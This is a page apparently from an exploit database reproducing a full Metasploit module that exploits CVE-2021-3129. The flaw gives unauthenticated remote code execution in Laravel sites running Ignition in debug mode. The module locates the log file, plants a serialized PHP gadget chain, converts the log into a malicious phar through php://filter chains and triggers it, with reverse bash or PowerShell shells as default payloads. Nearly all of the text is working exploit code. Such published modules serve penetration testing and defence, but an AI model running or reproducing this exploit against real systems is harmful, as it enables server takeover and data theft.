Ignition Remote Code Execution

2022.02.16
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Unauthenticated remote code execution in Ignition', 'Description' => %q{ Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2. }, 'Author' => [ 'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging 'ambionics' # discovered ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2021-3129'], ['URL', 'https://www.ambionics.io/blog/laravel-debug-rce'] ], 'DisclosureDate' => '2021-01-13', 'Platform' => %w[unix linux macos win], 'Targets' => [ [ 'Unix (In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Windows (In-Memory)', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } } ] ], 'Privileged' => false, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']), OptString.new('LOGFILE', [false, 'Laravel log file absolute path']) ]) end def check print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'method' => 'PUT' }, 1) # Check whether it is using facade/ignition # If is using it should respond method not allowed # checking if debug mode is enable if res && res.code == 405 && res.body.match(/label:"(Debug)"/) vprint_status 'Debug mode is enabled.' # check version versions = JSON.parse( res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}') ) version = Rex::Version.new(versions['framework_version']) vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}" # to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid) # but it is way more intrusive than just checking the version moreover we would need to call # the find_log_file method before, meaning four requests more. return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1') end return Exploit::CheckCode::Safe end def exploit @logfile = datastore['LOGFILE'] || find_log_file fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile clear_log put_payload convert_to_phar run_phar handler clear_log end def find_log_file vprint_status 'Trying to detect log file' res = post Rex::Text.rand_text_alpha_upper(12) if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?}) logpath = Regexp.last_match(1).gsub(/\\/, '') vprint_status "Found directory candidate #{logpath}" logfile = "#{logpath}/storage/logs/laravel.log" vprint_status "Checking if #{logfile} exists" res = post logfile if res.code == 200 vprint_status "Found log file #{logfile}" return logfile end vprint_error "Log file does not exist #{logfile}" return end vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually' return end def clear_log res = post "php://filter/read=consumed/resource=#{@logfile}" # guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true) fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200 end def put_payload post format_payload post Rex::Text.rand_text_alpha_upper(2) end def convert_to_phar filters = %w[ convert.quoted-printable-decode convert.iconv.utf-16le.utf-8 convert.base64-decode ].join('|') post "php://filter/write=#{filters}/resource=#{@logfile}" end def run_phar post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt" # resp.body.match(%r{^(.*)\n<!doctype html>}) # $1 ? print_good($1) : nil end def body_template(data) { solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution', parameters: { viewFile: data, variableName: Rex::Text.rand_text_alpha_lower(4..12) } }.to_json end def post(data) send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'method' => 'POST', 'data' => body_template(data), 'ctype' => 'application/json', 'headers' => { 'Accept' => '*/*', 'Accept-Encoding' => 'gzip, deflate' } }) end def generate_phar(pop) file = Rex::Text.rand_text_alpha_lower(8) stub = "<?php __HALT_COMPILER(); ?>\r\n" file_contents = Rex::Text.rand_text_alpha_lower(20) file_crc32 = Zlib.crc32(file_contents) & 0xffffffff manifest_len = 40 + pop.length + file.length phar = stub phar << [manifest_len].pack('V') # length of manifest in bytes phar << [0x1].pack('V') # number of files in the phar phar << [0x11].pack('v') # api version of the phar manifest phar << [0x10000].pack('V') # global phar bitmapped flags phar << [0x0].pack('V') # length of phar alias phar << [pop.length].pack('V') # length of phar metadata phar << pop # pop chain phar << [file.length].pack('V') # length of filename in the archive phar << file # filename phar << [file_contents.length].pack('V') # length of the uncompressed file contents phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970. phar << [file_contents.length].pack('V') # length of the compressed file contents phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents phar << [0x1b6].pack('V') # bit-mapped file-specific flags phar << [0x0].pack('V') # serialized File Meta-data length phar << file_contents # serialized File Meta-data phar << [Rex::Text.sha1(phar)].pack('H*') # signature phar << [0x2].pack('V') # signiture type phar << 'GBMB' # signature presence return phar end def format_payload # rubocop:disable Style/StringLiterals serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\"" serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";" serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\"" serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\"" serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";" serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";" serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}" # rubocop:enable Style/StringLiterals phar = generate_phar(serialize) b64_gadget = Base64.strict_encode64(phar).gsub('=', '') payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00' end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top